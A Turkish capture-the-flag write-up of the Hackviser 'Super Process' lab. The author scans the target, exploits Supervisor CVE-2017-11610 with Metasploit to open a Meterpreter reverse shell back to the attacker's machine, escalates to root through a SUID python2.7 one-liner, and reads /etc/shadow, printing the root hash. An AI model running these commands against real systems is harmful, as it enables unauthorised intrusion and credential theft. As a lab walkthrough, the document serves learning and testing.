

SUPER PROCESS WRITE-UP

Bu yazımda sizlere Hackviser platformu üzerinde bulunan Super Process adlı warmup'ın çözümünü anlatacağım.

SORU 1: Hangi portlar açık?

Bu sorunun cevabını bulmak için Nmap taraması yapıyoruz.

```
(root@kali)-[/home/kali]
# nmap -sV 172.20.4.63
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-08 15:32 +03
Nmap scan report for 172.20.4.63
Host is up (0.070s latency).
Not shown: 998 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
9001/tcp   open  http      Medusa httpd 1.12 (Supervisor process manager)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

22 ve 9001 portlarının açık olduğunu bulduk.

SORU 2: Web uygulamasında bulunan güvenlik açığının CVE kodu nedir?

Bunun için biraz siteye gidip bilgi toplamamız gerekecek. 9001 portunu kullanarak siteye gidiyorum.

Sayfanın en altında şöyle bir bilgiye rastladım:

[Supervisor 3.3.2](#)

Şimdi bunun hakkında herhangi bir açık bulunup bulunmadığını kontrol edelim.

Bunun için de searchsploit aracını kullandım.

```
(root@kali)-[/home/kali]
# searchsploit supervisor 3.3.2
```

| Exploit Title | Path |
|---|-----------------------|
| Supervisor 3.0a1 < 3.3.2 - XML-RPC (Authenticated) Remote Code Execution (Metasploit) | linux/remote/42779.rb |

```
Shellcodes: No Results
```

Böyle bir açık gerçekten varmış. Şimdi detayları görmek için metasploit framework'ü kulanacağım. Terminale gelip msfconsole yazarak başlatıyoruz.

Yukarıdaki bilgileri de kullanarak msfconsole içerisinde zaafiyeti buluyoruz.

```
1 password
2 exploit/linux/http/supervisor_xmlrpc_exec 2017-07-19 excellent Yes Supervisor XML-RPC Authenticated
Remote Code Execution
```

Use 2 diyerek zaafiyeti seçiyoruz. Info yazarak da bu zafiyet hakkında bilgi sahibi oluyoruz.

```
References:
https://github.com/Supervisor/supervisor/issues/964
https://www.debian.org/security/2017/dsa-3942
https://github.com/phith0n/vulhub/tree/master/supervisor/CVE-2017-11610
https://nvd.nist.gov/vuln/detail/CVE-2017-11610
```

Cevabımız: **CVE-2017-11610**

SORU 3: Güvenlik zafiyeti bulunan servis hangi kullanıcının izinleri ve yetkileri ile çalışıyor?

Bu sorunun cevabını bulabilmemiz için Shell almamız gerekmektedir. Şimdi bizden istenilen bilgileri doldurarak Shell almaya çalışacağım.

```
msf6 exploit(linux/http/supervisor_xmlrpc_exec) > show options
Module options (exploit/linux/http/supervisor_xmlrpc_exec):


| Name         | Current Setting | Required | Description                                                                                            |
|--------------|-----------------|----------|--------------------------------------------------------------------------------------------------------|
| HttpPassword |                 | no       | Password for HTTP basic auth                                                                           |
| HttpUsername |                 | no       | Username for HTTP basic auth                                                                           |
| Proxies      |                 | no       | A proxy chain of format type:host:port[,type:host:port][ ... ]                                         |
| RHOSTS       |                 | yes      | The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html |
| RPORT        | 9001            | yes      | The target port (TCP)                                                                                  |
| SSL          | false           | no       | Negotiate SSL/TLS for outgoing connections                                                             |
| SSLCert      |                 | no       | Path to a custom SSL certificate (default is randomly generated)                                       |
| TARGETURI    | /RPC2           | yes      | The path to the XML-RPC endpoint                                                                       |
| URIPATH      |                 | no       | The URI to use for this exploit (default is random)                                                    |
| VHOST        |                 | no       | HTTP server virtual host                                                                               |



When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:



| Name    | Current Setting | Required | Description                                                                                                                           |
|---------|-----------------|----------|---------------------------------------------------------------------------------------------------------------------------------------|
| SRVHOST | 0.0.0.0         | yes      | The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses. |
| SRVPORT | 8080            | yes      | The local port to listen on.                                                                                                          |



Payload options (linux/x64/meterpreter/reverse_tcp):



| Name  | Current Setting | Required | Description                                        |
|-------|-----------------|----------|----------------------------------------------------|
| LHOST |                 | yes      | The listen address (an interface may be specified) |
| LPORT | 4444            | yes      | The listen port                                    |


```

Yes yazan kısımları dolduralım.

```
msf6 exploit(linux/http/supervisor_xmlrpc_exec) > set RHOSTS 172.20.4.63
RHOSTS => 172.20.4.63
msf6 exploit(linux/http/supervisor_xmlrpc_exec) > set LHOST 10.8.9.164
LHOST => 10.8.9.164
```

LHOST: Bizim kendi IP adresimizdir.

RHOST: Hedef IP adresidir.

RUN diyerek çalıştıralım.

```
msf6 exploit(linux/http/supervisor_xmlrpc_exec) > run

[*] Started reverse TCP handler on 10.8.9.164:4444
[*] Sending XML-RPC payload via POST to 172.20.4.63:9001/RPC2
[*] Sending stage (3045380 bytes) to 172.20.4.63
[*] Command Stager progress - 97.32% done (798/820 bytes)
[*] Sending XML-RPC payload via POST to 172.20.4.63:9001/RPC2
[*] Command Stager progress - 100.00% done (820/820 bytes)
[*] Request returned without status code, usually indicates success. Passing to handler..
[*] Meterpreter session 1 opened (10.8.9.164:4444 -> 172.20.4.63:60342) at 2024-10-08 15:51:50 +0300

meterpreter > whoami
[-] Unknown command: whoami. Run the help command for more details.
meterpreter > shell
Process 470 created.
Channel 1 created.
whoami
nobody
```

Shell diyerek bağlantıyı

kurduk. Burada bize hangi kullanıcı yetkileri ile çalıştığını sormuştu.

Buradan da anlayacağımız gibi cevap **nobody**

SORU 4: Yetki yükseltme için kullanabileceğimiz SUID izinlerine sahip uygulamanın adı nedir?

Bu sorunun cevabını bulabilmemiz için bu komutu kullanmamız gerekiyor: *"find / -perm -u=s -type f 2>/dev/null"*

```
find / -perm -u=s -type f 2>/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/su
/usr/bin/chfn
/usr/bin/umount
/usr/bin/gpasswd
/usr/bin/mount
/usr/bin/python2.7
```

En altta sorunun cevabına ulaşmış olduk. Cevap: **python2.7**

SORU 5: "root" kullanıcısı için /etc/shadow içindeki parola hash değeri nedir?

Son sorumuzun cevabı için öncelikle bizim root olmamız gerekiyor. Bunun için de Privilege Esculation dediğimiz Yetki Yükseltme işlemini yapmamız gerekiyor.

Biraz araştırmalarım sonucunda yetki yükseltme için [GTFOBins](#) sitesini ziyaret ettim. Bu sitede python aratınca komut olarak şunları buldum:

SUID

If the binary has the SUID bit set, it does not drop the elevated privileges and may be abused to access the file system, escalate or maintain privileged access as a SUID backdoor. If it is used to run `sh -p`, omit the `-p` argument on systems like Debian (<= Stretch) that allow the default `sh` shell to run with SUID privileges.

This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To interact with an existing SUID binary skip the first command and run the program using its original path.

```
sudo install -m =xs $(which python) .
./python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
```

En alttaki komutu denedim.

```
$ python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
# whoami
whoami
root
#
```

Ve artık root olduk 😊

```
# cat etc/shadow
cat etc/shadow
root:$y$j9T$e8KohoZuo9Aaj1SpH7/pm1$mu9eKYycNlRPCJ51dW8d71.aPH0ceBM0AKxAaiil7C5:19640:0:99999:7:::
```

Cevap: **\$y\$j9T\$e8KohoZuo9Aaj1SpH7/pm1\$mu9eKYycNlRPCJ51dW8d71.aPH0ceBM0AKxAaiil7C5**